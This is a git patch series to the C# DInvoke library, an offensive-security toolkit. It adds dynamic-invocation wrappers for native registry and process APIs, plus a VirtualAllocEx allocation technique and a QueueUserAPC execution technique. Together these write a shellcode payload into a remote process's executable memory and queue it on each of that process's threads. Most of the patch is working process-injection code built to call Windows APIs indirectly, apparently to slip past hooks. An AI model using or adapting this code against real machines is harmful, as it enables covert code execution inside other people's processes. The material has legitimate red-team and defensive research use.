From cad0af0edd8ac6ec429765aa10602eb5cd77d39f Mon Sep 17 00:00:00 2001 From: jfmaes <55604242+jfmaes@users.noreply.github.com> Date: Mon, 16 Nov 2020 16:19:10 +0100 Subject: [PATCH 1/3] added new structs and functions + delegates for process injection using kernel32.api and registry operations using the native ntdll functions. --- DInvoke/DInvoke/DynamicInvoke/Native.cs | 92 ++++++++++++++++++-- DInvoke/DInvoke/DynamicInvoke/Win32.cs | 106 +++++++++++++++++++++++- DInvoke/DInvoke/SharedData/Native.cs | 15 ++++ DInvoke/DInvoke/SharedData/Win32.cs | 53 +++++++++++- 4 files changed, 255 insertions(+), 11 deletions(-) diff --git a/DInvoke/DInvoke/DynamicInvoke/Native.cs b/DInvoke/DInvoke/DynamicInvoke/Native.cs index 332021a..c2f74bf 100644 --- a/DInvoke/DInvoke/DynamicInvoke/Native.cs +++ b/DInvoke/DInvoke/DynamicInvoke/Native.cs @@ -14,6 +14,27 @@ namespace DInvoke.DynamicInvoke /// public class Native { + public static Data.Native.NTSTATUS NtCreateProcess( + ref IntPtr processHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr parentProcess, + bool InheritObjectTable, + IntPtr sectionHandle, + IntPtr debugPort, + IntPtr ExceptionPort + ) + { + // Craft an array for the arguments + object[] funcargs = + { + processHandle,desiredAccess,objectAttributes,parentProcess,InheritObjectTable,sectionHandle, + debugPort,ExceptionPort + }; + Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateProcess", typeof(DELEGATES.NTCreateProcess), ref funcargs); + processHandle = (IntPtr)funcargs[0]; + return retvalue; + } public static Data.Native.NTSTATUS NtCreateThreadEx( ref IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, @@ -58,7 +79,7 @@ public static Data.Native.NTSTATUS RtlCreateUserThread( // Craft an array for the arguments object[] funcargs = { - Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, + Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits, MaximumStackSize, CommittedStackSize, StartAddress, Parameter, Thread, ClientId }; @@ -95,8 +116,8 @@ public static Data.Native.NTSTATUS NtCreateSection( } // Update the modified variables - SectionHandle = (IntPtr) funcargs[0]; - MaximumSize = (ulong) funcargs[3]; + SectionHandle = (IntPtr)funcargs[0]; + MaximumSize = (ulong)funcargs[3]; return retValue; } @@ -142,8 +163,8 @@ public static Data.Native.NTSTATUS NtMapViewOfSection( } // Update the modified variables. - BaseAddress = (IntPtr) funcargs[2]; - ViewSize = (ulong) funcargs[6]; + BaseAddress = (IntPtr)funcargs[2]; + ViewSize = (ulong)funcargs[6]; return retValue; } @@ -583,6 +604,41 @@ public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileA return FileHandle; } + public static Data.Native.NTSTATUS NtOpenKey( + ref IntPtr keyHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + ref Data.Win32.WinNT.OBJECT_ATTRIBUTES objectAttributes) + { + object[] funcargs = + { + keyHandle,desiredAccess,objectAttributes + }; + Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs); + keyHandle = (IntPtr)funcargs[0]; + return retvalue; + } + + + public static Data.Native.NTSTATUS NtSetValueKey(IntPtr keyHandle, ref Data.Native.UNICODE_STRING valueName, int titleIndex, Data.Win32.WinNT.REGISTRY_TYPES type, IntPtr data, int dataSize) + { + object[] funcargs = + { + keyHandle,valueName,titleIndex,type,data,dataSize + }; + Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtSetValueKey", typeof(DELEGATES.NtSetValueKey), ref funcargs); + return retvalue; + } + + + public static Data.Native.NTSTATUS NtClose(ref IntPtr handle) + { + object[] funcargs = { handle }; + Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtClose", typeof(DELEGATES.NtClose), ref funcargs); + return retvalue; + } + + + /// /// Holds delegates for API calls in the NT Layer. /// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke @@ -606,6 +662,17 @@ public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileA public struct DELEGATES { [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Data.Native.NTSTATUS NTCreateProcess( + ref IntPtr processHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr parentProcess, + bool InheritObjectTable, + IntPtr sectionHandle, + IntPtr debugPort, + IntPtr ExceptionPort + ); + [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate Data.Native.NTSTATUS NtCreateThreadEx( out IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, @@ -666,7 +733,7 @@ public delegate UInt32 LdrLoadDll( UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); - + [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate void RtlInitUnicodeString( ref Data.Native.UNICODE_STRING DestinationString, @@ -782,6 +849,19 @@ public delegate UInt32 NtOpenFile( ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Data.Native.NTSTATUS NtOpenKey( + ref IntPtr keyHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + ref Data.Win32.WinNT.OBJECT_ATTRIBUTES objectAttributes); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Data.Native.NTSTATUS NtSetValueKey( + IntPtr keyHandle, ref Data.Native.UNICODE_STRING valueName, int titleIndex, Data.Win32.WinNT.REGISTRY_TYPES type, IntPtr Data, int DataSize); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Data.Native.NTSTATUS NtClose(ref IntPtr keyHandle); } } } diff --git a/DInvoke/DInvoke/DynamicInvoke/Win32.cs b/DInvoke/DInvoke/DynamicInvoke/Win32.cs index 2211c75..afbe17f 100644 --- a/DInvoke/DInvoke/DynamicInvoke/Win32.cs +++ b/DInvoke/DInvoke/DynamicInvoke/Win32.cs @@ -32,6 +32,87 @@ public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags dwDesire typeof(Delegates.OpenProcess), ref funcargs); } + public static Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref Data.Win32.ProcessThreadsAPI.STARTF lpStartupInfo, out Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation) + { + lpProcessInformation = new Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION(); + object[] funcargs = + { + lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,bInheritHandles,dwCreationFlags, + lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation + }; + Boolean success = (Boolean)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcess), ref funcargs); + lpProcessInformation = (Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION)funcargs[9]; + return success; + } + + + public static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect) + { + object[] funcargs = + { + hProcess,lpAddress,dwSize,flAllocationType,flProtect + }; + IntPtr retval = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualAllocEx", typeof(Delegates.VirtualAllocEx), ref funcargs); + return retval; + } + + + public static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten) + { + lpNumberOfBytesWritten = UIntPtr.Zero; + object[] funcargs = + { + hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten + }; + bool success = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"WriteProcessMemory", typeof(Delegates.WriteProcessMemory), ref funcargs); + return success; + } + + + public static IntPtr OpenThread(Data.Win32.Kernel32.ThreadAccess dwDesiredAccess, bool bInheritHandle, + int dwThreadId) + { + object[] funcargs = + { + dwDesiredAccess,bInheritHandle,dwThreadId + }; + IntPtr retvalue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenThread", typeof(Delegates.OpenThread), ref funcargs); + return retvalue; + } + + + public static Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect) + { + lpflOldProtect = 0; + object[] funcargs = + { + hProcess,lpAddress,dwSize,flNewProtect,lpflOldProtect + }; + Boolean retval = (Boolean)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualProtectEx", typeof(Delegates.VirtualProtectEx), ref funcargs); + return retval; + } + + public static IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData) + { + object[] funcargs = + { + pfnAPC,hThread,dwData + }; + IntPtr retval = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"QueueUserAPC", typeof(Delegates.QueueUserAPC), ref funcargs); + return retval; + } + + public static uint ResumeThread(IntPtr hThread) + { + object[] funcargs = + { + hThread + }; + uint retval = (uint)Generic.DynamicAPIInvoke(@"kernel32.dll", @"ResumeThread", typeof(Delegates.ResumeThread), ref funcargs); + return retval; + + } + public static IntPtr CreateRemoteThread( IntPtr hProcess, IntPtr lpThreadAttributes, @@ -71,7 +152,7 @@ public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo) bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); - lpSystemInfo = (bool) funcargs[1]; + lpSystemInfo = (bool)funcargs[1]; // Dynamically load and invoke the API call with out parameters return retVal; @@ -99,6 +180,29 @@ UInt32 dwProcessId public delegate bool IsWow64Process( IntPtr hProcess, ref bool lpSystemInfo ); + + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref Data.Win32.ProcessThreadsAPI.STARTF lpStartupInfo, out Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr OpenThread(Data.Win32.Kernel32.ThreadAccess dwDesiredAccess, bool bInheritHandle, + int dwThreadId); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint ResumeThread(IntPtr hThhread); } } } diff --git a/DInvoke/DInvoke/SharedData/Native.cs b/DInvoke/DInvoke/SharedData/Native.cs index 856a7d8..353b240 100644 --- a/DInvoke/DInvoke/SharedData/Native.cs +++ b/DInvoke/DInvoke/SharedData/Native.cs @@ -53,6 +53,21 @@ public struct OBJECT_ATTRIBUTES public IntPtr SecurityQualityOfService; } + [Flags] + public enum OBJ_ATTRIBUTES : uint + { + + INHERIT = 0x00000002, + PERMANENT = 0x00000010, + EXCLUSIVE = 0x00000020, + CASE_INSENSITIVE = 0x00000040, + OPENIF = 0x00000080, + OPENLINK = 0x00000100, + KERNEL_HANDLE = 0x00000200, + FORCE_ACCESS_CHECK = 0x00000400, + }; + + [StructLayout(LayoutKind.Sequential)] public struct IO_STATUS_BLOCK { diff --git a/DInvoke/DInvoke/SharedData/Win32.cs b/DInvoke/DInvoke/SharedData/Win32.cs index 0ba2392..2e1efef 100644 --- a/DInvoke/DInvoke/SharedData/Win32.cs +++ b/DInvoke/DInvoke/SharedData/Win32.cs @@ -820,14 +820,59 @@ public enum ACCESS_MASK : uint SECTION_MAP_WRITE = 0x0002, SECTION_MAP_READ = 0x0004, SECTION_MAP_EXECUTE = 0x0008, - SECTION_EXTEND_SIZE = 0x0010 - }; + SECTION_EXTEND_SIZE = 0x0010, + + //expanded for registry alterations https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights + KEY_ALL_ACCESS = 0xF003F, + KEY_CREATE_LINK = 0x0020, + KEY_CREATE_SUB_KEY = 0x0004, + KEY_ENUMERATE_SUB_KEYS = 0x0008, + KEY_EXECUTE = 0x20019, + KEY_NOTIFY = 0x0010, + KEY_QUERY_VALUE = 0x0001, + KEY_READ = 0x20019, + KEY_SET_VALUE = 0x0002, + KEY_WOW64_32KEY = 0x0200, + KEY_WOW64_64KEY = 0x0100, + KEY_WRITE = 0x20006, + + }; + + //https://www.pinvoke.net/default.aspx/Structures/OBJECT_ATTRIBUTES.html + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_ATTRIBUTES + { + public int Length; + public IntPtr RootDirectory; + public IntPtr objectName; + public uint Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + public enum REGISTRY_TYPES : uint + { + REG_NONE = 0x00000000, + REG_SZ = 0x00000001, + REG_EXPAND_SZ = 0x00000002, + REG_BINARY = 0x00000003, + REG_DWORD = 0x00000004, + REG_DWORD_LITTLE_ENDIAN = 0x00000004, + REG_DWORD_BIG_ENDIAN = 0x00000005, + REG_LINK = 0x00000006, + REG_MULTI_SZ = 0x00000007, + REG_RESOURCE_LIST = 0x00000008, + REG_QWORD = 0x0000000B, + REG_QWORD_LITTLE_ENDIAN = 0x0000000B + + + } } public class ProcessThreadsAPI { [Flags] - internal enum STARTF : uint + public enum STARTF : uint { STARTF_USESHOWWINDOW = 0x00000001, STARTF_USESIZE = 0x00000002, @@ -955,6 +1000,6 @@ public struct _LSA_UNICODE_STRING public UInt16 MaximumLength; public IntPtr Buffer; } - } + } } } \ No newline at end of file From 54c1e8b776c81ed05f778c32f7a702e43ccac61a Mon Sep 17 00:00:00 2001 From: jfmaes <55604242+jfmaes@users.noreply.github.com> Date: Fri, 27 Nov 2020 11:07:43 +0100 Subject: [PATCH 2/3] Update Native.cs bugfix on ntclose + added delegate and API signature for NtDeleteValueKey --- DInvoke/DInvoke/DynamicInvoke/Native.cs | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/DInvoke/DInvoke/DynamicInvoke/Native.cs b/DInvoke/DInvoke/DynamicInvoke/Native.cs index c2f74bf..8f7f975 100644 --- a/DInvoke/DInvoke/DynamicInvoke/Native.cs +++ b/DInvoke/DInvoke/DynamicInvoke/Native.cs @@ -629,8 +629,18 @@ public static Data.Native.NTSTATUS NtSetValueKey(IntPtr keyHandle, ref Data.Nati return retvalue; } + public static Data.Native.NTSTATUS NTDeleteValueKey(IntPtr keyHandle, ref Data.Native.UNICODE_STRING valueName) + { + object[] funcargs = + { + keyHandle,valueName + }; + Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtDeleteValueKey", typeof(DELEGATES.NtDeleteValueKey), ref funcargs); + return retvalue; + } + - public static Data.Native.NTSTATUS NtClose(ref IntPtr handle) + public static Data.Native.NTSTATUS NtClose(IntPtr handle) { object[] funcargs = { handle }; Data.Native.NTSTATUS retvalue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtClose", typeof(DELEGATES.NtClose), ref funcargs); @@ -861,7 +871,10 @@ public delegate Data.Native.NTSTATUS NtSetValueKey( IntPtr keyHandle, ref Data.Native.UNICODE_STRING valueName, int titleIndex, Data.Win32.WinNT.REGISTRY_TYPES type, IntPtr Data, int DataSize); [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS NtClose(ref IntPtr keyHandle); + public delegate Data.Native.NTSTATUS NtDeleteValueKey(IntPtr keyHandle, ref Data.Native.UNICODE_STRING valueName); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate Data.Native.NTSTATUS NtClose(IntPtr keyHandle); } } } From 3ae8a50e09b374058312f6ec3e0cac7e8f4810cd Mon Sep 17 00:00:00 2001 From: jfmaes <55604242+jfmaes@users.noreply.github.com> Date: Sat, 28 Nov 2020 16:45:28 +0100 Subject: [PATCH 3/3] changes to facilitate queueuserapc in the injection API added virtualallocex allocation technique added queueuserapc execution technique --- DInvoke/DInvoke/Injection/Allocation.cs | 67 +++++++++++++++++++ DInvoke/DInvoke/Injection/Execution.cs | 87 +++++++++++++++++++++++-- 2 files changed, 150 insertions(+), 4 deletions(-) diff --git a/DInvoke/DInvoke/Injection/Allocation.cs b/DInvoke/DInvoke/Injection/Allocation.cs index 87b1a5d..25682b7 100644 --- a/DInvoke/DInvoke/Injection/Allocation.cs +++ b/DInvoke/DInvoke/Injection/Allocation.cs @@ -289,4 +289,71 @@ public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); } } + + + + + public class VirtualAllocEx : AllocationTechnique + { + + /// + /// Default constructor. + /// + /// + public VirtualAllocEx() + { + DefineSupportedPayloadTypes(); + } + + + /// + /// States whether the payload is supported. + /// + /// The Wover (@TheRealWover) + /// Payload that will be allocated. + /// + public override bool IsSupportedPayloadType(PayloadType Payload) + { + return supportedPayloads.Contains(Payload.GetType()); + } + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// Update when new types of payloads are added. + /// + /// The Wover (@TheRealWover) + internal override void DefineSupportedPayloadTypes() + { + //Defines the set of supported payload types. + supportedPayloads = new Type[] { + typeof(PICPayload) + }; + } + + /// + /// Allocate the payload in the target process. + /// + /// The PIC payload to allocate to the target process. + /// The target process. + /// Base address of allocated memory within the target process's virtual memory space. + /// + public IntPtr Allocate(PICPayload Payload, Process Process) + { + if (!IsSupportedPayloadType(Payload)) + { + throw new PayloadTypeNotSupported(Payload.GetType()); + } + // Get a convenient handle for the target process. + IntPtr procHandle = DynamicInvoke.Win32.OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_OPERATION | Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_WRITE | Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_VM_READ, false, (uint)Process.Id); + //create a IntPtr to return the base address of the allocated mem + IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(procHandle, IntPtr.Zero, (uint)Payload.Payload.Length, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_EXECUTE_READWRITE); + UIntPtr bytesWritten = UIntPtr.Zero; + Boolean success = DynamicInvoke.Win32.WriteProcessMemory(procHandle, alloc, Payload.Payload, (uint)Payload.Payload.Length, out bytesWritten); + if (success) + return alloc; + else + throw new Exception("an error occured trying to write memory into the process."); + } + } + } diff --git a/DInvoke/DInvoke/Injection/Execution.cs b/DInvoke/DInvoke/Injection/Execution.cs index 487d49d..b9e383e 100644 --- a/DInvoke/DInvoke/Injection/Execution.cs +++ b/DInvoke/DInvoke/Injection/Execution.cs @@ -40,7 +40,7 @@ public abstract class ExecutionTechnique /// bool public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) { - Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; + Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType() }; try { @@ -93,7 +93,7 @@ public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Proc /// public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) { - Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; + Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType() }; try { @@ -111,7 +111,7 @@ public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTe } } - + /// /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. /// @@ -246,7 +246,86 @@ ref threadid return false; } handle = threadHandle; - return true; + return true; + } + } + + /// + /// Executes a payload in a remote process by Queuing UserAPC. + /// + /// + + public class QueueUserAPC : ExecutionTechnique + { + /// + /// States whether the payload is supported. + /// + /// The Wover (@TheRealWover) + /// Payload that will be allocated. + /// + public override bool IsSupportedPayloadType(PayloadType Payload) + { + return supportedPayloads.Contains(Payload.GetType()); + } + + /// + /// Internal method for setting the supported payload types. Used in constructors. + /// Update when new types of payloads are added. + /// + /// The Wover (@TheRealWover) + internal override void DefineSupportedPayloadTypes() + { + // Defines the set of supported payload types. + supportedPayloads = new Type[] { + typeof(PICPayload) + }; + } + + public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) + { + IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); + return Inject(Payload, baseAddr, Process); + } + + /// + /// Opens a Thread and Queues UserAPC in a specified process. + /// + /// The Wover (@TheRealWover) + /// The shellcode payload to execute in the target process. + /// The address of the shellcode in the target process. + /// The target process to inject into. + /// + public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) + { + /* + IntPtr tpointer = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.SetContext, false, (int)pi.dwThreadId); + DynamicInvoke.Win32.VirtualProtectEx(pi.hProcess, alloc, sc.Length, 0x20, out oldProtect); + DynamicInvoke.Win32.QueueUserAPC(alloc, tpointer, IntPtr.Zero); + DynamicInvoke.Win32.ResumeThread(pi.hThread); + + IntPtr threadHandle = new IntPtr(); + Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; + */ + uint oldProtect = 0; + bool success = false; + try + { + IntPtr procHandle = Process.Handle; + success = DynamicInvoke.Win32.VirtualProtectEx(procHandle, BaseAddress, Payload.Payload.Length, Data.Win32.WinNT.PAGE_EXECUTE_READ, out oldProtect); + foreach (ProcessThread thread in Process.Threads) + { + IntPtr hThread = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.All, false, (int)thread.Id); + IntPtr ptr = DynamicInvoke.Win32.QueueUserAPC(BaseAddress, hThread, IntPtr.Zero); + } + success = true; + return success; + } + catch (Exception e) + { + Console.WriteLine(e.Message); + return success; + } + } } }